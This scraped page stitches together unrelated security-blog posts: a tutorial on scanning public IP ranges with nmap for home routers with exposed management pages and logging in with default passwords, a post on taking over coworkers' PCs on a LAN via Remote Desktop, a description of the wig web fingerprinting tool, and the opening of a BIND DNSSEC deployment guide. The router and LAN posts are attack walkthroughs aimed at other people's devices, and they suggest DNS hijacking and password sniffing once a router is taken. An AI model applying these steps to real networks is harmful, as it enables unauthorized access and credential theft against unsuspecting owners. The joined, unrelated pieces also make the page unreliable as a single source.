Internal network indicates the part where devices in Local Area Network connects to the ADSL DSL modem router via either Wireless or Ethernet cable. Most modem DSL ADSL Modem routers runs a DHCP server internally which assigns an Internall IP address to the connected device. When I say device, this can be anything from a conventional computer, a laptop, a phone (Android, Apple, Nokia or Blackberry etc.), A smart TV, A Car, NAS, SAN, An orange, A banana, A cow, A dragon, Harry Potter … I mean anything that’s able to connect to internet! So you get the idea. Each device get’s it’s own IP address, a Gateway IP and DNS entries. Depending on different DSL ADSL Modem router, this can be slightly different, but the idea remains the same, the DSL ADSL Router allows users to share internet connectivity. These DSL ADSL Modem Routers are like miniature Gateway devices that can have many services running on them. Usually they all use BusyBox or similar proprietary Linux applications on them. You want to know what a DSL ADSL Router can do? Here’s a list of common services that can run on a DSL ADSL Modem Router:

  1. ADSL2 and/or ADSL2+ support
  2. Antenna/ae (wireless)
  3. Bridge/Half-bridge mode
  4. Cookie blocking
  5. DHCP server
  6. DDNS support
  7. DoS protection
  8. Switching
  9. Intrusion detection
  10. LAN port rate limiting
  11. Inbuilt firewall
  12. Inbuilt or Free micro-filter
  13. Java/ActiveX applet blocking
  14. Javascript blocking
  15. MAC address filtering
  16. Multiple public IP address binding
  17. NAT
  18. Packet filter
  19. Port forwarding/port range forwarding
  20. POP mail checking
  21. QoS (especially useful for VoIP applications)
  22. RIP-1/RIP-2
  23. SNTP facility
  24. SPI firewall
  25. Static routing
  26. So-called “DMZ” facility
  27. RFC1483 (bridged/routed)
  28. IPoA
  29. PPPoE
  30. PPPoA
  31. Embedded PPPoX login clients
  32. Parental controls
  33. Print server inbuilt
  34. Scheduling by time/day of week
  35. USB print server
  36. URL blocking facility
  37. UPnP facility
  38. VPN pass-through
  39. Embedded VPN servers
  40. WEP 64/128/256 bit (wireless security)
  41. WPA (wireless security)
  42. WPA-PSK (wireless security)

That’s a lot of services running on a small device that are configured by nanny, granny, uncle, aunt and the next door neighbour, in short many non technical people around the world. How many of those configured badly? Left ports open left right and center? Didn’t change default admin passwords? Many! I mean MANY! In this guide we will use namp to scan a range of IP addresses, from output we will determine which are DSL ADSL Routers and have left their Management ports open to External Network. (again read top section to know which one is a external network). A typical ADSL Router’s Management interface is available via following URL:

http://10.0.0.1/
http://192.168.0.1/
http://192.168.1.1/
http://192.168.1.254/
etc.

This is the Management page for DSL ADSL modem router and it’s always protected by a password. By default, this password is written below a DSL ADSL modem router in a sticker and they are one of these combinations: Username/Password

admin/admin
admin/password
admin/pass
admin/secret
etc.

A lot of the home users doesn’t change this password. Well, that’s ok. It doesn’t hurt much cause this is only available via a connected device. But what’s not OKAY is when users open up their management to the external network. All you need to know what’s the Public IP address for your target and just try to access this management page externally.

Installing NMAP

I use Kali Linux which comes with NMAP Preinstalled. If you are using Windows or Mac (or any other flavour of Linux) go to the following website to download and install NMAP.

Linux Installation:

For Ubuntu, Debian or aptitude based system NMAP is usually made available via default repository. Install NMAP using the following command:

sudo apt-get install nmap

For YUM Based systems such as Redhat, CentOS, install via

sudo yum install nmap

For PACMAN based systems such as Arch Linux, install via

sudo pacman -S nmap

Windows Installation:

For Windows Computers, download installer and run the executable. Link: http://nmap.org/dist/nmap-6.46-setup.exe

Mac Installation:

For Mac users, download installer and install Link: http://nmap.org/dist/nmap-6.46.dmg

Official NMAP site

You can read more about NMAP here:http://nmap.org/

Search for Vulnerable Routers

Now that we have NMAP sorted, we are going to run the following command to scan for ADSL Modem Routers based on their Banner on Port 80 to start our ADSL router hack. All you need is to pick an IP range. I’ve used an example below using 101.53.64.1/24 range.

Search from Linux using command Line

In Linux run the following command:

nmap -sS -sV -vv -n -Pn -T5 101.53.64.1-255 -p80 -oG - | grep 'open' | grep -v 'tcpwrapped'

In Windows or Mac open NMAP and copy paste this line:

nmap -sS -sV -vv -n -Pn -T5 101.53.64.1-255 -p80 -oG -

Once it finds the results, search for the word ‘open’ to narrow down results. A typical Linux NMAP command would return outputs line below: (and of course I’ve changed the IP details)

Host: 101.53.64.3 ()  Ports: 80/open/tcp//tcpwrapped///
Host: 101.53.64.4 ()  Ports: 80/open/tcp//http//micro_httpd/
Host: 101.53.64.9 ()  Ports: 80/open/tcp//tcpwrapped///
Host: 101.53.64.19 () Ports: 80/open/tcp//tcpwrapped///
Host: 101.53.64.20 () Ports: 80/open/tcp//http//Fortinet VPN|firewall http config/
Host: 101.53.64.23 () Ports: 80/open/tcp//tcpwrapped///
Host: 101.53.64.31 () Ports: 80/open/tcp//http?///
Host: 101.53.64.33 () Ports: 80/open/tcp//tcpwrapped///
Host: 101.53.64.35 () Ports: 80/open/tcp//http?///
Host: 101.53.64.37 () Ports: 80/open/tcp//http?///
Host: 101.53.64.49 () Ports: 80/open/tcp//http//Gadspot|Avtech AV787 webcam http config/
Host: 101.53.64.52 () Ports: 80/open/tcp//http?///
Host: 101.53.64.53 () Ports: 80/open/tcp//ssl|http//thttpd/
Host: 101.53.64.58 () Ports: 80/open/tcp//http?///
Host: 101.53.64.63 () Ports: 80/open/tcp//tcpwrapped///
Host: 101.53.64.69 () Ports: 80/open/tcp//http//Gadspot|Avtech AV787 webcam http config/
Host: 101.53.64.73 () Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/
Host: 101.53.64.79 () Ports: 80/open/tcp//http//Apache httpd/
Host: 101.53.64.85 () Ports: 80/open/tcp//http//micro_httpd/
Host: 101.53.64.107 ()        Ports: 80/open/tcp//http?///
Host: 101.53.64.112 ()        Ports: 80/open/tcp//http?///
Host: 101.53.64.115 ()        Ports: 80/open/tcp//tcpwrapped///
Host: 101.53.64.123 ()        Ports: 80/open/tcp//tcpwrapped///
Host: 101.53.64.129 ()        Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/
Host: 101.53.64.135 ()        Ports: 80/open/tcp//tcpwrapped///
Host: 101.53.64.145 ()        Ports: 80/open/tcp//http//micro_httpd/
Host: 101.53.64.149 ()        Ports: 80/open/tcp//http//Microsoft IIS httpd 6.0/
Host: 101.53.64.167 ()        Ports: 80/open/tcp//tcpwrapped///
Host: 101.53.64.170 ()        Ports: 80/open/tcp//http//Allegro RomPager 4.07 UPnP|1.0 (ZyXEL ZyWALL 2)/
Host: 101.53.64.186 ()        Ports: 80/open/tcp//http?///
Host: 101.53.64.188 ()        Ports: 80/open/tcp//tcpwrapped///
Host: 101.53.64.193 ()        Ports: 80/open/tcp//tcpwrapped///
Host: 101.53.64.202 ()        Ports: 80/open/tcp//http//Apache httpd 2.2.15 ((CentOS))/
Host: 101.53.64.214 ()        Ports: 80/open/tcp//tcpwrapped///
Host: 101.53.64.224 ()        Ports: 80/open/tcp//http//Allegro RomPager 4.51 UPnP|1.0 (ZyXEL ZyWALL 2)/

This was taking a long time (we are after all try to scan 256 hosts using the command above). Me being just impatient, I wanted to check if my Kali Linux was actually doing anything to ADSL router hack. I used the following command in a separate Terminal to monitor what my PC was doing… it was doing a lot …

tcpdump -ni eth0

That’s a lot of connected hosts with TCP Port 80 open. Some got ‘tcpwrapped’ marked on them. It means they are possibly not accessible.

Search from Windows, Mac or Linux using GUI – NMAP or Zenmap

Assuming you got NMAP installation sorted, you can now open NMAP (In Kali Linux or similar Linux distro, you can use Zenmap which is GUI version of NAMP cross platform). Copy paste the following line in Command field

nmap -sS -sV -vv -n -Pn -T5 101.53.64.1/26 -p80 -oG -

another version of this command is using different representation of Subnet MASK.

nmap -sS -sV -vv -n -Pn -T5 101.53.64.1-255 -p80 -oG -

Press SCAN Button and wait few minutes till the scan is over.

Remote Router Hack - Hack ADSL router using NMAP - blackMORE Ops - 4

Once you have some results, then you need to find the open devices with open ports. In search Result page:

  1. Click on Services Button
  2. Click on http Service
  3. Click on Ports/Hosts TAB (Twice to sort them by status)

As you can see, I’ve found a few devices with open http port 80.

Remote Router Hack - Hack ADSL router using NMAP - blackMORE Ops - 5

It is quite amazing how many devices got ports open facing outer DMZ.

Access Management Webpage

Pick one at a time. For example try this:

http://101.53.64.3
http://101.53.64.4
http://101.53.64.129

You get the idea. If it opens a webpage asking for username and password, try one of the following combinations:

admin/admin
admin/password
admin/pass
admin/secret

If you can find the Router’s model number and make, you can find exact username and password from this webpage: http://portforward.com/default_username_password/ Before we finish up, I am sure you were already impatient like me as a lot of the routers had ‘tcpwrapped’ on them which was actually stopping us from accessing the web management interface to ADSL router hack. Following command will exclude those devices from our search. I’ve also expanded my search to a broader range using a slightly different Subnet MASK.

nmap -sS -sV -vv -n -Pn -T5 101.53.64.1/22 -p80 -oG - | grep 'open' | grep -v 'tcpwrapped'

In this command I am using /22 Subnet Mask with 2 specific outputs: I am looking for the work ‘open’ and excluding ‘tcpwrapped’ on my output. As you can see, I still get a lot of outputs.

Conclusion

You’ll be surprised how many have default username and passwords enabled. Once you get your access to the router, you can do a lot more, like DNS hijacking, steal username and passwords (for example: Social Media username passwords (FaceBook, Twitter, WebMail etc.)) using tcpdump/snoop on router’s interface and many more using ADSL router hack …

There’s many things you can do after you’ve got access to a router. You can change DNS settings, setup a tcpdump and later snoop all plaintext passwords using wireshark etc. If you know a friends, family. colleague or neighbor who didn’t change their routers default password, let them know of the risks.

But I am not here to judge whether it should be done or not, but this is definitely a way to gain access to a router. So hacking is not always bad, it sometime is required when you loose access or a system just wouldn’t respond. As a pentester, you should raise awareness. Share this guide as anyone who uses a Linux, Windows, Mac can use this guide to test their own network and fix ADSL router hack issue.

How To Hack Windows Computers That Are On The Same LAN Network


How To Hack Same LAN Computers?

If you are working in Office / Colleges and want to hack your friends & college mate PC then here is a trick follow below steps:

Go to Run> Cmd

now type command

C:\>net view

Server Name            Remark
———————————————–
\xyz
\abc

Here you can get all the names of all the computers machine names which connect with your LAN.

Now you got the name.  Lets start hacking into the systems.

After you get server name now type tracert command for knowing IP of the victim machine.

Example: C:\> tracert xyz

Here you get the IP address of the XYZ computer machine.

now go to windows start button and type Remote Desktop Connection

After click on Remote Desktop Connection you get below..

Now type the IP address or computer name of victim machine.
Click on connect <-|
It will also ask administrator password which is common as usual you known about.
After few second Victim machine shown in your Computer..
Now you can access that machine to open website, files, Software’s, etc
Enjoy the trick..

WIG: WebApp Information Gathering Tool To Identify Fingerprinting of CMS


wig – WebApp Information Gatherer

wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications.

The application fingerprinting is based on checksums and string matching of known files for different versions of CMSes. This results in a score being calculated for each detected CMS and its versions. Each detected CMS is displayed along with the most probable version(s) of it. The score calculation is based on weights and the amount of “hits” for a given checksum.

wig also tries to guess the operating system on the server based on the ‘server’ and ‘x-powered-by’ headers. A database containing known header values for different operating systems is included in wig, which allows wig to guess Microsoft Windows versions and Linux distribution and version.

wig features:
  • CMS version detection by: check sums, string matching and extraction
  • Lists detected package and platform versions such as asp.net, php, openssl, apache
  • Detects JavaScript libraries
  • Operation system fingerprinting by matching php, apache and other packages against a values in wig’s database
  • Checks for files of interest such as administrative login pages, readmes, etc
  • Currently the wig’s databases include 28,000 fingerprints
  • Reuse information from previous runs (save the cache)
  • Implement a verbose option
  • Remove dependency on ‘requests’
  • Support for proxy
  • Proper threading support
  • Included check for known vulnerabilities

Requirements

wig is built with Python 3, and is therefore not compatible with Python 2.

How it works

The default behavior of wig is to identify a CMS, and exit after version detection of the CMS. This is done to limit the amount of traffic sent to the target server. This behavior can be overwritten by setting the ‘-a’ flag, in which case wig will test all the known fingerprints. As some configurations of applications do not use the default location for files and resources, it is possible to have wig fetch all the static resources it encounters during its scan. This is done with the ‘-c’ option. The ‘-m’ option tests all fingerprints against all fetched URLs, which is helpful if the default location has been changed.

Help Screen

usage: wig.py [-h] [-l INPUT_FILE] [-n STOP_AFTER] [-a] [-m] [-u]
              [--no_cache_load] [--no_cache_save] [-N] [--verbosity]
              [--proxy PROXY] [-w OUTPUT_FILE]
              [url]

WebApp Information Gatherer

positional arguments:
  url              The url to scan e.g. http://example.com

optional arguments:
  -h, --help       show this help message and exit
  -l INPUT_FILE    File with urls, one per line.
  -n STOP_AFTER    Stop after this amount of CMSs have been detected. Default:
                   1
  -a               Do not stop after the first CMS is detected
  -m               Try harder to find a match without making more requests
  -u               User-agent to use in the requests
  --no_cache_load  Do not load cached responses
  --no_cache_save  Do not save the cache for later use
  -N               Shortcut for --no_cache_load and --no_cache_save
  --verbosity, -v  Increase verbosity. Use multiple times for more info
  --proxy PROXY    Tunnel through a proxy (format: localhost:8080)
  -w OUTPUT_FILE   File to dump results into (JSON)

Example of run:

$ ./wig.py example.com

dP   dP   dP    dP     .88888.
88   88   88    88    d8'   `88
88  .8P  .8P    88    88
88  d8'  d8'    88    88   YP88
88.d8P8.d8P     88    Y8.   .88
8888' Y88'      dP     `88888'

  WebApp Information Gatherer

Redirected to http://www.example.com. Continue? [Y|n]:

TITLE
--- HTML TITLE ---

IP
255.255.255.256



SOFTWARE                  VERSION                           CATEGORY
Drupal                    7.28 | 7.29 | 7.30 | 7.31 | 7.32  CMS
ASP.NET                   4.0.30319.18067                   Platform
Microsoft-HTTPAPI         2.0                               Platform
Microsoft-IIS             6.0 | 7.0 | 7.5 | 8.0             Platform
Microsoft Windows Server  2003 SP2 | 2008 | 2008 R2 | 2012  Operating System

SOFTWARE                  VULNERABILITIES                   LINK
Drupal 7.28               7                                 http://cvedetails.com/version/169265
Drupal 7.29               3                                 http://cvedetails.com/version/169917
Drupal 7.30               3                                 http://cvedetails.com/version/169916

URL                       NOTE                              CATEGORY
/login/                   Test directory                    Interesting URL
/login/index_form.html    ASP.NET detailed error            Interesting URL
/robots.txt               robots.txt index                  Interesting URL
/test/                    Test directory                    Interesting URL
_______________________________________________________________________________
Time: 15.7 sec            Urls: 351                         Fingerprints: 28989


More information can be found at: https://github.com/jekyc/wig

BIND DNSSEC Guide – DNSSEC deployment guide for BIND Version 1.1


BIND DNSSEC Guide

Abstract

This is version 1.1 of the DNSSEC deployment guide for BIND.

BIND is open source software that implements the Domain Name System (DNS) protocols for the Internet. It is a reference implementation of those protocols, but it is also production-grade software, suitable for use in high-volume and high-reliability applications.

Domain Name System Security Extensions (DNSSEC) extends standard DNS to provide a measure of security; it proves that the data comes from the official source and has not been modified in transit.

ISC BIND supports the full DNSSEC standard.


Table of Contents

Preface
1. Organization
2. Acknowledgement
1. Introduction
1.1. Who Should Read this Guide?
1.2. Who May Not Want to Read this Guide?
1.3. What is DNSSEC?
1.4. What does DNSSEC Add to DNS?
1.5. How Does DNSSEC Change DNS Lookup?
1.5.1. Chain of Trust
1.6. Why is DNSSEC Important? (Why Should I Care?)
1.7. How does DNSSEC Change My Job as a DNS Administrator?
2. Getting Started
2.1. Software Requirement
2.1.1. BIND Version
2.1.2. DNSSEC Support in BIND
2.1.3. System Entropy
2.2. Hardware Requirement
2.2.1. Recursive Server Hardware
2.2.2. Authoritative Server Hardware
2.3. Network Requirements
2.4. Operational Requirements
2.4.1. Parent Zone
2.4.2. Security Requirements
3. Validation
3.1. Easy Start Guide for Recursive Servers
3.2. How To Test Recursive Server (So You Think You Are Validating)
3.2.1. Using Web-based Tools to Verify
3.2.2. Using dig to Verify
3.2.3. Using delv to Verify
3.2.4. Verifying Protection from Bad Domain Names
3.2.5. How Do I know I Have a Validation Problem?
3.3. Validation Easy Start Explained
3.3.1. dnssec-validation
3.3.2. How Does DNSSEC Change DNS Lookup (Revisited)?
3.3.3. How are Answers Verified?
3.4. Trust Anchors
3.4.1. How Trust Anchors are Used
3.4.2. Trusted Keys and Managed Keys
3.5. What’s EDNS All About (And Why Should I Care)?
3.5.1. EDNS Overview
3.5.2. EDNS on DNS Servers
3.5.3. Support for Large Packets on Network Equipment
3.5.4. Wait… DNS Uses TCP?
4. Signing
4.1. Easy Start Guide for Signing Authoritative Zones
4.1.1. Generate Keys
4.1.2. Reconfigure BIND
4.1.3. Verification
4.1.4. Upload to Parent Zone
4.1.5. So… What Now?
4.1.6. Your Zone, Before and After DNSSEC
4.2. How To Test Authoritative Zones (So You Think You Are Signed)
4.2.1. Look for Key Data in Your Zone
4.2.2. Look for Signatures in Your Zone
4.2.3. Examine the Zone File
4.2.4. Check the Parent
4.2.5. External Testing Tools
4.3. Signing Easy Start Explained
4.3.1. Generate Keys Explained
4.3.2. Reconfigure BIND Explained
4.4. Working with Parent Zone
4.4.1. DS Record Format
4.4.2. DNSKEY Format
4.4.3. Trusted Key Format
4.4.4. What if My Parent Zone Doesn’t Support DNSSEC?
4.5. Using NSEC3
4.6. Maintenance Tasks
4.6.1. ZSK Rollover
4.6.2. KSK Rollover
5. Basic Troubleshooting
5.1. Query Path
5.2. Visible Symptoms
5.3. Logging
5.3.1. BIND DNSSEC Debug Logging
5.4. Common Problems
5.4.1. Security Lameness
5.4.2. Incorrect Time
5.4.3. Invalid Trust Anchors
5.4.4. Unable to Load Keys
5.5. NSEC3 Troubleshooting
5.6. Troubleshooting Example
6. Advanced Discussions
6.1. Key Generation
6.1.1. Can I Use the Same Key Pair for Multiple Zones?
6.1.2. Do I Need Separate ZSK and KSK?
6.1.3. Which Algorithm?
6.1.4. Key Sizes
6.2. Proof of Non-Existence (NSEC and NSEC3)
6.2.1. NSEC
6.2.2. NSEC3
6.2.3. NSEC or NSEC3?
6.3. Key Storage
6.3.1. Public Key Storage
6.3.2. Private Key Storage
6.3.3. Hardware Security Modules (HSM)
6.4. Key Management
6.4.1. Key Rollovers
6.4.2. Key Management and Metadata
6.4.3. How Long Do I Wait Before Deleting Old Data?
6.4.4. Emergency Key Rollovers
6.4.5. DNSKEY Algorithm Rollovers
6.5. Other Topics
6.5.1. DNSSEC and Dynamic Updates
6.5.2. DNSSEC and Inline Signing
6.5.3. DNSSEC Look-aside Validation (DLV)
6.5.4. DNSSEC on Private Networks
6.5.5. Introduction to DANE
6.6. Disadvantages of DNSSEC
7. Recipes
7.1. Inline Signing Recipes
7.1.1. Master Server Inline Signing Recipe
7.1.2. “Bump in the Wire” Inline Signing Recipe
7.2. Rollover Recipes
7.2.1. ZSK Rollover Recipe
7.2.2. KSK Rollover Recipe
7.3. NSEC and NSEC3 Recipes
7.3.1. Migrating from NSEC to NSEC3
7.3.2. Migrating from NSEC3 to NSEC
7.3.3. Changing NSEC3 Salt Recipe
7.3.4. NSEC3 Optout Recipe
7.4. Reverting to Unsigned Recipe
7.5. Self-signed Certificate Recipe
8. Commonly Asked Questions

List of Figures

1.1. DNSSEC Validation 12 Steps
3.1. DNSSEC Web-based Tests
3.2. Signature Generation
3.3. Signature Verification
3.4. DNSSEC Validation with .gov Trust Anchor
4.1. Verisign DNSSEC Debugger
4.2. DNSViz
4.3. Sec Spider
5.1. Query Path
7.1. Inline Signing Recipe #1
7.2. Inline Signing Scenario #2
7.3. Upload DS Record Step #1
7.4. Upload DS Record Step #2
7.5. Upload DS Record Step #3
7.6. Upload DS Record Step #4
7.7. Upload DS Record Step #5
7.8. Upload DS Record Step #6
7.9. Remove DS Record Step #1
7.10. Remove DS Record Step #2
7.11. Remove DS Record Step #3
7.12. Revert to Unsigned Step #1
7.13. Revert to Unsigned Step #2
7.14. Revert to Unsigned Step #3
7.15. Revert to Unsigned Step #4
7.16. Browser Certificate Warning
7.17. DNSSEC TLSA Validator

List of Tables

4.1. ZSK KSK Comparison
6.1. Key Metadata Comparison

Preface

Table of Contents

1. Organization
2. Acknowledgement

1. Organization

This document provides introductory information on how DNSSEC works, how to configure BIND to support some common DNSSEC features, as well as some basic troubleshooting tips. The chapters are organized as such:

Chapter 1, Introduction covers the intended audience for this document, assumed background knowledge, and a basic introduction to the topic of DNSSEC.

Chapter 2, Getting Started covers various requirements that are needed before implementing DNSSEC, such as software versions, hardware capacity, network requirements, and security changes.

Chapter 3, Validation walks through setting up a validating resolver, more information on the validation process, as well as examples of using tools to verify the resolver is validating answers.

Chapter 4, Signing walks through setting up a basic signed authoritative zone, explains the relationship with the parent zone, and on-going maintenance tasks.

Chapter 5, Basic Troubleshooting provides some tips on how to analyze and diagnose DNSSEC-related problems.

Chapter 6, Advanced Discussions covers several topics, from key generation, key storage, key management, NSEC and NSEC3, to disadvantages of DNSSEC.

Chapter 7, Recipes provides several working examples of common solutions, with step-by-step details.

Chapter 8, Commonly Asked Questions lists some commonly asked questions and answers about DNSSEC.

2. Acknowledgement

This document is originally authored by Josh Kuo of DeepDive Networking. He can be reached at <>

Thanks to the following individuals (in no particular order) who have helped in completing this document: Jeremy C. Reed, Heidi Schempf, Stephen Morris, Jeff Osborn, Vicky Risk, Jim Martin, Evan Hunt, Mark Andrews, Michael McNally, Kelli Blucher, Chuck Aurora, Francis Dupont, and Rob Nagy.

Special thanks goes to Cricket Liu and Matt Larson for their selflessness in knowledge sharing.

Thanks to all the reviewers and contributors, including: John Allen, Jim Young, Tony Finch, Timothe Litt, and Dr. Jeffry A. Spain.

The sections on key rollover and key timing meta data is borrowed heavily from the Internet Engineering Task Force draft titled “DNSSEC Key Timing Considerations” by S. Morris, J. Ihren, J. Dickinson, and W. Mekking. For more recent details, see “DNSSEC Key Rollover Timing Considerations”.

The recipe for TLSA self-signed certificate is based on the work of “A Step-by-Step guide for implementing DANE with a Proof of Concept” by Sandoche Balakrichenan, Stephane Bortzmeyer, and Mohsen Souissi (April 15, 2013) .

Icons made by Freepik and SimpleIcon from http://www.flaticon.com, licensed under Creative Commons BY 3.0 .

Chapter 1. Introduction

1.1. Who Should Read this Guide?

This guide is intended to be an introduction to DNSSEC for the DNS administrator who is comfortable working with the existing BIND and DNS infrastructure. He or she might be curious about DNSSEC, but has not had the time to read up about what DNSSEC is (or is not), whether or not DNSSEC should be a part of her or his environment, and what it means to deploy it in the field.

This guide provides basic information on how to configure DNSSEC using BIND9. Readers are assumed to have basic working knowledge of the Domain Name System (DNS) and related network infrastructure, such as concepts of TCP/IP. In-depth knowledge of DNS and TCP/IP is not required. The guide assumes no prior knowledge of DNSSEC or related technology such as public key cryptography.

1.2. Who May Not Want to Read this Guide?

If you are already operating a DNSSEC-signed zone, you may not learn much from the first half of the document, and you may want to start with Chapter 6, Advanced Discussions. If you want to learn about details of the protocol extension, such as data fields and flags, or the new record types, this document can help you get started but it won’t include all the technical details. If you are experienced in DNSSEC, you may find some of the concepts in this document to be overly simplified for your taste, and some details may be purposely omitted at times for illustration. If you administer a large or complex BIND environment, this guide may not provide enough information for you, as it is intended to provide the most basic, generic working examples. If you are a TLD operator, administer zones in .gov or .mil, this guide can help you get started, but does not provide enough details to serve all of your needs. If your DNS environment uses DNS products other than BIND, or in addition to, this document may provide some background or overlapping information, but you should check each product’s vendor documentation for specifics. Finally, deploying DNSSEC on internal or private networks is not covered in this document, with the exception of a brief discussion in Section 6.5.4, “DNSSEC on Private Networks”.

1.3. What is DNSSEC?

The Domain Name System (DNS) was designed in a day and age when the Internet was a friendly and trusting place. The protocol itself provides little protection against malicious or forged answers. DNS Security Extensions (DNSSEC) addresses this need, by adding digital signatures into DNS data, so each DNS response can be verified for integrity (message did not change during transit) and authenticity (sender is really the sender, not an impostor). In the ideal world when DNSSEC is fully deployed, every single DNS answer can be validated and trusted.

DNSSEC does not provide a secure tunnel; it does not encrypt or hide DNS data. It operates independently of an existing Public Key Infrastructure (PKI). It does not need SSL certificates or shared secrets. It was designed with backwards compatibility in mind, and can be deployed without impacting “old” insecure domain names.

DNSSEC is deployed on the three major components of the DNS infrastructure:

  • Recursive Server: People use recursive servers to lookup external domain names such http://www.example.com. Operators of recursive servers need to enable DNSSEC validation. With validation enabled, recursive servers will carry out additional tasks on each DNS response they received to ensure its authenticity.
  • Authoritative Server: People who publish DNS data on their name servers need to sign that data. This entails creating additional resource records, and publishing them to parent domains where necessary. With DNSSEC enabled, authoritative servers will respond to queries with additional DNS data, such as digital signatures and keys, in addition to the standard answers.
  • Application: This component lives on every client machine, from web server to smart phones. This includes resolver libraries on different Operating Systems, and applications such as web browsers.

In this guide, we will focus on the first two components, Recursive Server and Authoritative Server, and only lightly touch on the third component. We will look at how DNSSEC works, how to configure a validating resolver, how to sign DNS zone data, and other operational tasks and considerations.

1.4. What does DNSSEC Add to DNS?

Primer on Public Key Cryptography

Public Key Cryptography works on the concept of a pair of keys, one is made available to the world publicly, and one is kept in secrecy privately. Not surprisingly, they are known as public key and private key. If you are not familiar with the concept, think of it as a cleverly designed lock, where one key locks, and one key unlocks. In DNSSEC, we give out the unlocking public key to the rest of the world, while keeping the locking key private. To learn how this is used to secure DNS messages, take a look at Section 3.3.3, “How are Answers Verified?”.

DNSSEC introduces six new resource record types:

  • RRSIG (digital signature)
  • DNSKEY (public key)
  • DS (parent-child)
  • NSEC (proof of nonexistence)
  • NSEC3 (proof of nonexistence)
  • NSEC3PARAM (proof of nonexistence)

This guide will not dissect into the anatomy of each resource record type, the details are left for the readers to research and explore. Below is a short introduction on each of the new record types:

  • RRSIG: With DNSSEC enabled, just about every DNS answer (A, PTR, MX, SOA, DNSKEY, etc.) will come with at least one RRSIG, or resource record signature. These signatures are used by recursive name servers, also known as validating resolvers, to verify the answers received. To learn how digital signatures are generated and used, see Section 3.3.3, “How are Answers Verified?”.
  • DNSKEY: DNSSEC relies on public key cryptography for data authenticity and integrity. There are several keys used in DNSSEC, some private, some public. The public keys are published to the world as part of the zone data, and they are stored in the DNSKEY record type. In general, there are two categories of keys used in DNSSEC, Zone Signing Key (ZSK) is used to protect all zone data, and Key Signing Key (KSK) is used to protect other keys. We will talk about keys in Section 4.3.1, “Generate Keys Explained”, and again later in Section 6.1, “Key Generation”.
  • DS: One of the critical components of DNSSEC is that the parent zone can “vouch” for its child zone. DS record is verifiable information (generated from one of the child’s public keys) a parent zone keeps on its child as part of the chain of trust. To learn more about Chain of Trust, see Section 1.5.1, “Chain of Trust”.

The NSEC, NSEC3, and NSEC3PARAM resource records all deal with a very interesting problem: proving that something really does not exist. We will look at these record types in more detail in Section 6.2, “Proof of Non-Existence (NSEC and NSEC3) ”.

1.5. How Does DNSSEC Change DNS Lookup?

Traditional (insecure) DNS lookup is simple: a recursive name server receives a query from a client to lookup the name http://www.isc.org. The recursive name server tracks down the authoritative name server(s) responsible, sends the query to one of the authoritative name servers, and waits for the authoritative name server to respond with the answer.

With DNSSEC validation enabled, recursive name servers (validating resolver) will ask for additional resource records in its query, hoping the remote authoritative name servers will respond with more than just the answer to the query, but some proof to go along with the answer as well. If DNSSEC responses are received, the validating resolver will perform cryptographic computation to verify the authenticity (origin of the data) and integrity (data was not altered during transit) of the answers, and even ask the parent zone as part of the verification. It will repeat this process of get-key, validate, ask-parent, parent, and its parent, and its parent, all the way until the validating resolver reaches a key that it trusts. In the ideal, fully deployed world of DNSSEC, all validating resolvers only need to trust one key: the root key.

The following example shows the DNSSEC validating process of looking up the name http://www.isc.org at a very high level:

Figure 1.1. DNSSEC Validation 12 Steps

DNSSEC Validation 12 Steps
  1. Upon receiving a DNS query from a client to resolve http://www.isc.org, the validating resolver follows standard DNS protocol to track down the name server for isc.org, sends it a DNS query to ask for the A record ofhttp://www.isc.org. But since this is a DNSSEC-enabled resolver, the outgoing query has a bit set indicating it wants DNSSEC answers, hoping the name server who receives it speaks DNSSEC and can honor this secure request.
  2. isc.org name server is DNSSEC-enabled, and responds with the answer (in this case, an A record), and with a digital signature for verification purpose.
  3. The validating resolver needs to be able to verify the digital signature, and to do so it requires cryptographic keys. So it asks the isc.org name server for those keys.
  4. isc.org name server responds with the cryptographic keys (and digital signatures of the keys) used to generate the digital signature that was sent in #2. At this point, the validating resolver can use this information to verify the answers received in #2.

    Let’s take a quick break here and look at what we’ve got so far… how could we trust this answer? If a clever attacker had taken over the isc.org name server(s), or course she would send matching keys and signatures. We need to ask someone else to have confidence that we are really talking to the real isc.org name server. This is a critical part of DNSSEC: at some point, the DNS administrators at isc.org had uploaded some cryptographic information to its parent, .org, maybe it was a secure web submit form, maybe it was through an email exchange, or perhaps it was done in person. No matter the case, at some point, some verifiable information about the child (isc.org) was sent to the parent (.org), for safekeeping.

  5. The validating resolver asks the parent (.org) for the verifiable information it keeps on its child, isc.org.
  6. The verifiable information is sent from the .org server. At this point, validating resolver compares this to the answer it received in #4, and the two of them should match, proving the authenticity of isc.org.

    Let’s examine this process. You might be thinking to yourself, well, what if the clever attacker that took over isc.org also compromised the .org servers? Of course all this information would match! That’s why we will turn our attention now to the .org servers, interrogate it for its cryptographic keys, and move on one level up to .org‘s parent, root.

  7. The validating resolver asks .org authoritative name servers for its cryptographic keys, for the purpose of verifying the answers received in #6.
  8. .org name server responds with the answer (in this case, keys and signatures). At this point, validating resolver can verify the answers received in #6.
  9. The validating resolver asks root (.org‘s parent) for verifiable information it keeps on its child, .org.
  10. Root name server sends back the verifiable information it keeps on .org. The validating resolver now takes this information and uses it to verify the answers received in #8.

    So up to this point, both isc.org and .org check out. But what about root? What if this attacker is really clever and somehow tricked us into thinking she’s the root name server? Of course she would send us all matching information! So we repeat the interrogation process and ask for the keys from the root name server.

  11. Validating resolver asks root name server for its cryptographic keys in order to verify the answer(s) received in #10.
  12. Root name server sends keys, at this point, validating resolver can verify the answer(s) received in #10.

1.5.1. Chain of Trust

But what about the root server itself? Who do we go to verify root’s keys? There’s no parent zone for root. In security, you have to trust someone, and in the perfectly protected world of DNSSEC (we’ll talk about the current imperfect state later and ways to work around it), each validating resolver would only have to trust one entity, that is the root name server. The validating resolver would already have the root key on file (and we’ll talk about later how we got the root key file). So after answers in #12 are received, validating resolver takes the answer received and compare it to the key it already has on file, and these two should match. If they do, it means we can trust the answer from root, thus we can trust .org, and thus we can trust isc.org. This is known as “chain of trust” in DNSSEC.

We will revisit this 12-step process again later in Section 3.3.2, “How Does DNSSEC Change DNS Lookup (Revisited)?” more technical details.

1.6. Why is DNSSEC Important? (Why Should I Care?)

You might be thinking to yourself: all this DNSSEC stuff sounds wonderful, but why should I care? Below are some reasons why you may want to consider deploying DNSSEC:
